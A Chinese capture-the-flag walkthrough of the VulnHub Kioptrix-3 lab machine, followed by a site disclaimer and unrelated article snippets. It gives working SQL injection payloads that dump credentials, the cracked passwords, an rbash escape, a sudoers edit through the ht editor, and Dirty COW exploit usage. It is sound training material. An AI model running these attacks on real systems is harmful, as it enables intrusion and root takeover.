vulnhub靶场【kioptrix-3】靶机

前言

靶机:kioptrix-3,IP地址为192.168.1.74

攻击:kali,IP地址为192.168.1.16

都采用虚拟机,网卡为桥接模式

文章中涉及的靶机,来源于vulnhub官网,想要下载,可自行访问官网下载,或者通过下方链接下载https://pan.quark.cn/s/1f8bfb170c6d

在这里解压靶机后,会有一个readme.txt文件,查看该文件,提示是需要进行ip和域名的绑定

kali中修改/etc/hosts文件即可,在windows中修改C:\Windows\System32\Drivers\etc\hosts文件即可

这里是修改windows文件,因为前面都是修改的kali文件,不能把windows也忘了

主机发现

使用arp-scan -lnetdiscover -r 192.168.10.1/24扫描

也可以使用nmap等工具进行

信息收集

使用nmap扫描端口

nmap -sV -O 192.168.1.74 -p- -T4

网站信息探测

访问80端口界面,发现三个功能点,home指向index.php?page=bloglogin指向index.php?system=

查看页面源代码后,发现脚本语言为php,并且是目录型网站,且发现几个地址链接

访问blog,这就是一个博客

访问login,发现是登录界面,尝试之前的万能密码进行测试,发现是不行的,不过这里还是可以看到产品的出处,也就是cmslotusCMS

那么暂且搁置,还有一个目录没有访问查看呢

访问gallery,这个界面的内容挺多

尝试进行测试吧,发现点击ligoat press room时,其中的功能多了很多,并且出现php传参id,这个可以进行模糊测试,先以最简单的测试,看有无注入点

sql注入获取账户密码

尝试以sql注入的判断,以'进行闭合,发现出现报错,那么可能存在sql注入,并且数据库类型为mysql

进一步测试,确定为数字型的注入

?id=1 or 1=1--+
?id=1 and 1=1--+
?id=1 and 1=2--+

尝试构造语句,先测试联合查询是否可行,毕竟这个是比较省事的。

首先确定显示列数,可以借助order by

?id=1 order by 6

这里的数字6是经过回显不同确定的

确定列数为6,那么就构造联合查询

?id=-1 union select 1,2,3,4,5,6 --+//对于靶机来说,数字1-6代表是可以,不过大部分时候,就算真的存在sql注入,也是并非这样
//而是需要对应类型,所以大部分时候,也是以null进行代表,然后猜测每一个类型是字符还是数字
?id=-1 union select 1,null,null,null,null,null --+

可以看到,在2,3位是有回显的

尝试构造语句,来获取当前数据库名称,数据库用户,数据库版本信息

?id=-1 union select 1,concat(database(),'|',version(),'|',user()),3,4,5,6 --+

获取到信息,数据库gallery,数据库版本是5.0之后,具有information_schema这个表,并且确定concat是可用的

那么尝试从information_schema中查询gallery中的一些数据,因为一般可能当前使用的数据库中有信息,当然肯定还是其他数据库也是有信息的,不过这里先测试这个

?id=-1 union select 1,concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--+

发现这个表,那么就测试这个表中的元组

?id=-1 union select 1,concat(column_name),3,4,5,6 from information_schema.columns where table_name='gallarific_users'--+

这两个就很是吸引人了,直接就尝试获取

?id=-1 union select 1,concat(username,'|',password),3,4,5,6 from gallarific_users--+

用户名admin和密码n0t7t1k4

结合前面login目录,推测应该可以登录,访问login,并进行测试,不过并非,那么可能漏了数据,返回继续收集

在前面某处有一个表名是dev_accounts,不过当时没关注,其中accounts是账户的意思,结合dev,推测是靶机内的账户

?id=-1 union select 1,concat(column_name),3,4,5,6 from information_schema.columns where table_name='dev_accounts'--+

?id=-1 union select 1,concat(username,'|',password),3,4,5,6 from dev_accounts--+

用户名密码(md5加密)解密密码
dreg0d3eccfb887aabd50f243b3f155c0f85Mast3r
loneferret5badcaf789d3d1d09794d8f021f40f0estarwars

可以发现这里的密码应该是进行加密,并且挺像md5加密的,假设就是,尝试进行破解即可,可借助john爆破,或者使用在线网站识别

rbash逃逸

那么直接测试是否可连接ssh,发现可以登录

尝试cd,发现具有rbash,没办法有更完整的功能

输入help,发现有compgen命令可用

常见的rbash逃逸方法有很多,这里通过compgen测试有无vim

compgen -c | grep vim

那么随便vim编辑一个文件,然后尝试进行rbash逃逸

vim 1按着esc,然后输入 :
:set shell=/bin/bash
:shell

即可逃逸成功

还有其他方式,如最简单的,若是可以使用bash,则可以直接逃逸

可自行ai搜索,或者参考一些博主的文章

提权

借助sudo提权

使用find寻找具有SUID权限的文件,发现sudo,尝试列出有无文件可用,但是发现当前用户不行

find / -perm -u=s -type f 2>/dev/null

那么切换到用户loneferret,直接通过su切换即可,既然是新用户,查看当前目录下的一些文件,发现都指向ht

测试sudo -l,发现虽然有一个文件,说是对于除su以外的都可以执行,但是测试后,根本不行

那么还是从ht下手,直接sudo,发现报错

可以自行ai搜索是什么意思,这里可以设置临时变量

export TERM=xterm
sudo /usr/local/bin/ht

或者

sudo TERM=xterm ht

这就是打开后的界面

这里的操作方式,可以通过alt+f打开左上角的file菜单,其余的同样,都是alt+红色开头字母,可与打开对应的菜单,按esc退出菜单

这里因为这个ht是通过sudo打开的,所以可以通过这个打开一些无法打开的文件,如/etc/shadow

打开file菜单后,选择open,然后按着tab键盘,这时候就会切换到files,这里可以切换目录

这里就可以尝试使用john进行爆破,不过这里肯定耗时间,毕竟还不知道加密方式

并且,这里还是可以修改的,所以还可以修改sudoers文件

打开后,添加一行,因为涉及到修改,所以需要保存,在alt+f后,有save按钮,然后按f10即可退出

loneferret ALL=(ALL) NOPASSWD:ALL
#对于loneferret用户,可以通过sudo执行所有,并且不需要输入密码

再次sudo -l查看,可以发现修改成功,这时候就可以使用sudo为所欲为了

这里还可以在kali生成公私钥,然后去/root目录下,在.ssh目录下,添加一个文件,然后把生成的公钥复制到新文件authorized_keys即可,这里是确认在/root下有.ssh目录的

通过系统内核提权

在靶机测试内核版本等信息

uname -a
uname -r 
cat /etc/*release
cat /etc/issue

这个内核范围是在脏牛提权的范围内的,只是对于使用哪一个有待测试

测试过后,发现对于40839.c是可以的,当然这里还可以借助脚本工具les.sh或者叫linux-exploit-suggester.sh

这里在github的地址如下:

https://github.com/The-Z-Labs/linux-exploit-suggester

这是在kali中指定靶机的uname -a信息分析出最有可能的提权漏洞,也就是脏牛,并且这里还缩小范围了

提权过程就是把40839.c文件下载到靶机内的/tmp目录,然后进行编译,可以查看该文件,其中是有用法的

gcc -pthread 40839.c -o dirty -lcrypt
./dirty my-new-password
su firefart

编译后执行,然后切换到用户firefart,密码就是自己设置的,即可提权

总结

该靶机考察以下几点:

  1. 网站功能测试,能点的都点了进行测试,最好是抓包分析,这里可通过浏览器抓包或者burp抓包都行,这里的靶机肉眼可见,就无需抓包
  2. 对于注入点能否找到并且测试,现在其实都放置在一个字典中,然后进行模糊测试某一个传参等方式
  3. 基本的sql注入要会,这里虽然我只用了联合查询,但是其他方式难道不行吗,比如延时注入、布尔注入
  4. 对于mysql数据库的基本构造要知道,这里是information_schema数据库的重点,当然其他数据库也要去了解
  5. 对于rbash逃逸,方法众多,不要局限,这里最终无法逃逸,还是可以切换用户的,这个主要就是练习
  6. 对于提权方法,这里是通过命令历史查看或者sudo -l都是可以发现第三方软件,并且初步测试该软件的功能,要快速知道该软件有无可利用点
  7. 提权方式,内核版本也是重要的,这里脏牛提权

这里其实前面有很多步骤都没有写,因为我是测试过,当时觉得并无内容,不重要,但是还是在这里写一下吧,毕竟要养成一个习惯

  1. 目录扫描爆破,这里其实发现了phpmyadmin界面,可以在这里进行爆破测试。主要就是不要忘记目录爆破,这个可能会取得意想不到的内容

  2. CMS漏洞,这里不要忘记搜索并测试,这种很重要,不过这里我是搜索并测试无用后,所以就没有记录。但是一定要知道这个重要的方式

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/7102.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Cloudflare通过代理服务器绕过 CORS 限制:原理、实现场景解析

第一部分:问题背景 1.1 错误现象复现 // 浏览器控制台报错示例 Access to fetch at https://chat.qwenlm.ai/api/v1/files/ from origin https://ocr.doublefenzhuan.me has been blocked by CORS policy: Response to preflight request doesnt pass access con…

VMware虚拟机安装Linux系统(openKylin)

首先打开VMware Workstation,点击创建新的虚拟机。 进入虚拟机引导界面后,选择“典型”选项,点击下一步; 选择“稍后安装操作系统”,点击下一步; 客户机操作系统选择“Linux”,版本选择Ubuntu 6…

RabbitMQ 多种安装模式

文章目录 前言一、Windows 安装 RabbitMq1、版本关系2、Erlang2.1、下载安装 Erlang 23.12.2、配置 Erlang 环境变量 3、RabbitMQ3.1、下载安装 RabbitMQ 3.8.93.2、环境变量3.3、启动RabbitMQ 管理插件3.3、RabbitMQ3.4、注意事项 二、安装docker1、更新系统包:2、…

【Java-数据结构】Java 链表面试题上 “最后一公里”:解决复杂链表问题的致胜法宝

我的个人主页 我的专栏:Java-数据结构,希望能帮助到大家!!!点赞❤ 收藏❤ 引言: Java链表,看似简单的链式结构,却蕴含着诸多有趣的特性与奥秘,等待我们去挖掘。它就像一…

【0x03】HCI_Connection_Complete事件详解

目录 一、事件概述 二、事件格式及参数详解 2.1. HCI_Connection_Complete事件格式 2.2. 事件参数 2.2.1. Status 2.2.2. Connection_Handle 2.2.3. BD_ADDR 2.2.4. Link_Type 2.2.5. Encryption_Enabled 三、事件处理流程 3.1. 事件触发 3.2. 事件接收与解析 3.…

激活版,快速安装

每天开机都要等待很长时间,玩游戏或看视频时频繁卡顿,甚至偶尔还会莫名其妙地崩溃。这种情况几乎每个人都遇到过,真是让人头疼不已。 别担心,其实有一种方法可以让你的电脑恢复如新,让我们一起看看如何解决这些烦恼吧…

二叉树(了解)c++

二叉树是一种特殊的树型结构,它的特点是: 每个结点至多只有2棵子树(即二叉树中不存在度大于2的结点) 并且二叉树的子树有左右之分,其次序不能任意颠倒,因此是一颗有序树 以A结点为例,左边的B是它的左孩子,右边的C是…

C#标准Mes接口框架(持续更新)

前言 由于近期我做了好几个客户的接入工厂Mes系统的需求。但是每个客户的Mes都有不同程度的定制需求,原有的代码复用难度其实很大。所以打算将整个接入Mes系统的框架单独拿出来作为一个项目使用,同时因为不同的设备接入同一个Mes系统,所以代…

【Nacos】负载均衡

目录 前言 一、服务下线二、权重配置三、同一个集群优先访问四、环境隔离 前言 我们的生产环境相对是比较恶劣的,我们需要对服务的流量进行更加精细的控制.Nacos支持多种负载均衡策略,包括配置权重,同机房,同地域,同环…

嵌入式MCU面试笔记2

目录 串口通信 概论 原理 配置 HAL库代码 1. 初始化函数 2. 数据发送和接收函数 3. 中断和DMA函数 4. 中断服务函数 串口通信 概论 我们知道,通信桥接了两个设备之间的交流。一个经典的例子就是使用串口通信交换上位机和单片机之间的数据。 比较常见的串…

DDD该怎么去落地实现(1)关键是“关系”

DDD落地的关键是“关系” 这些年,我认为DDD走到了一个死胡同里了,因为落地实现过于困难。很多团队在经过一段时间的学习,清楚理解了DDD那些晦涩的概念,根据业务绘制出领域模型,这都不困难。但绘制领域模型不是我们最终…

RabbitMQ---面试题

常见面试题 1.MQ的作用及应用场景 类似问题:项目什么情况下用到了MQ,为什么要用MQ MQ的主要应用场景,消息队列的应用场景,为什么说消息队列可以削峰 首先MQ是一种用来接收和转发消息的队列,常见的应用常见如下&…

PaddleSeg 从配置文件和模型 URL 自动化运行预测任务

git clone https://github.com/PaddlePaddle/PaddleSeg.git# 在ipynb里面运行 cd PaddleSegimport sys sys.path.append(/home/aistudio/work/PaddleSeg)import os# 配置文件夹路径 folder_path "/home/aistudio/work/PaddleSeg/configs"# 遍历文件夹,寻…

2_高并发内存池_各层级的框架设计及ThreadCache(线程缓存)申请内存设计

一、高并发内存池框架设计 高并发池框架设计,特别是针对内存池的设计,需要充分考虑多线程环境下: 性能问题锁竞争问题内存碎片问题 高并发内存池的整体框架设计旨在提高内存的申请和释放效率,减少锁竞争和内存碎片。 高并发内存…

WebODM之python实现

1、安装webodm_slam 主要是了解API文档,查看之前的文章 安装WebODM_slate 2、安装webodm 查看之前的文章 Win10安装WebODM和操作全流程 3、python脚本 项目案例 This Source Code Form is subject to the terms of the Mozilla Public License, v. 2.0. If a copy of…

2025年美赛C题:奥运奖牌榜模型 解析及Python代码实现

2025年美赛C题:奥运奖牌榜模型 解析及Python代码实现 1 题目 2025 MCM问题C:奥运奖 牌榜模型在最近的2024年巴黎夏季奥运会期间, 粉丝们除了观看个人项目外, 还关注每个 国家的整体 “ 奖牌榜 ”。 最终的结果(表1&am…

Qt 5.14.2 学习记录 —— 십칠 窗口和菜单

文章目录 1、Qt窗口2、菜单栏设置快捷键添加子菜单添加分割线和菜单图标 3、工具栏 QToolBar4、状态栏 QStatusBar5、浮动窗口 QDockWidget 1、Qt窗口 QWidget,即控件,是窗口的一部分。在界面中创建控件组成界面时,Qt自动生成了窗口&#xf…

Spring Boot 邂逅Netty:构建高性能网络应用的奇妙之旅

一、引言 在当今数字化时代,构建高效、可靠的网络应用是开发者面临的重要挑战。Spring Boot 作为一款强大的 Java 开发框架,以其快速开发、简洁配置和丰富的生态支持,深受广大开发者喜爱。而 Netty 作为高性能、异步的网络通信框架&#xff…

Windows中本地组策略编辑器gpedit.msc打不开/微软远程桌面无法复制粘贴

目录 背景 解决gpedit.msc打不开 解决复制粘贴 剪贴板的问题 启用远程桌面剪贴板与驱动器 重启RDP剪贴板监视程序 以上都不行?可能是操作被Win11系统阻止 最后 背景 远程桌面无法复制粘贴,需要查看下主机策略组设置,结果按WinR输入…

深圳大学-智能网络与计算-实验一:RFID原理与读写操作

实验目的与要求 掌握超高频RFID标签的寻卡操作。掌握超高频RFID标签的读写操作。掌握超高频RFID标签多张卡读取时的防冲突机制。 方法,步骤 软硬件的连接与设置超高频RFID寻卡操作超高频RFID防冲突机制超高频RFID读写卡操作 实验过程及内容 一.软硬…